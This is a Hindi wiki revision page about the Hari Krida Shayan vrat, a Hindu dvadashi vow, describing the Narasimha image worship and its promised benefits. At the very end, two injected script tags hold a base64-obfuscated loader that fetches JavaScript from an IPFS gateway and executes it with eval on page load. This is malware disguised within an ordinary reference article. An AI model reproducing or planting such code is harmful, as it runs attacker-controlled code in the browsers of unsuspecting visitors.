हरि क्रीडा शयन: Difference between revisions
भारत डिस्कवरी प्रस्तुति
Jump to navigation
Jump to search
[unchecked revision] | [unchecked revision] |
व्यवस्थापन (talk | contribs) m (Text replace - "==टीका टिप्पणी और संदर्भ==" to "{{संदर्भ ग्रंथ}} ==टीका टिप्पणी और संदर्भ==") |
शिल्पी गोयल (talk | contribs) No edit summary |
||
Line 6: | Line 6: | ||
*जागर स्र पूजा की जाती है। | *जागर स्र पूजा की जाती है। | ||
*कर्ता को वन या युद्ध में भय नहीं मिलता, उसे धन एवं दीर्घायु की प्राप्ति होती है।<ref>कृत्यकल्पतरु (व्रतखण्ड 392-393)</ref>, <ref>हेमाद्रि (व्रतखण्ड 2, 376-377, [[नृसिंह पुराण]] से उद्धरण)</ref> | *कर्ता को वन या युद्ध में भय नहीं मिलता, उसे धन एवं दीर्घायु की प्राप्ति होती है।<ref>कृत्यकल्पतरु (व्रतखण्ड 392-393)</ref>, <ref>हेमाद्रि (व्रतखण्ड 2, 376-377, [[नृसिंह पुराण]] से उद्धरण)</ref> | ||
{{प्रचार}} | |||
{{संदर्भ ग्रंथ}} | {{संदर्भ ग्रंथ}} | ||
==टीका टिप्पणी और संदर्भ== | ==टीका टिप्पणी और संदर्भ== |
Revision as of 12:26, 16 June 2011
- भारत में धार्मिक व्रतों का सर्वव्यापी प्रचार रहा है। यह हिन्दू धर्म ग्रंथों में उल्लिखित हिन्दू धर्म का एक व्रत संस्कार है।
- कार्तिक या वैशाख द्वादशी पर यह व्रत किया जाता है।
- तिथिव्रत; देवता हरि हैं।
- मधुयुक्त ताम्रपात्र में चार हाथ वाले नृसिंह की स्वर्णिम प्रतिमा की स्थापना, हाथों के रूप में माणिक, नखों के रूप में मूँगा का प्रयोग होता है और इसी प्रकार वक्ष, कानों, आँखों एवं सिर पर अन्य बहुमूल्य रत्न रखे जाते हैं।
- पात्र में जल भरा जाता है।
- जागर स्र पूजा की जाती है।
- कर्ता को वन या युद्ध में भय नहीं मिलता, उसे धन एवं दीर्घायु की प्राप्ति होती है।[1], [2]
टीका टिप्पणी और संदर्भ
- ↑ कृत्यकल्पतरु (व्रतखण्ड 392-393)
- ↑ हेमाद्रि (व्रतखण्ड 2, 376-377, नृसिंह पुराण से उद्धरण)
संबंधित लेख
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
|
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>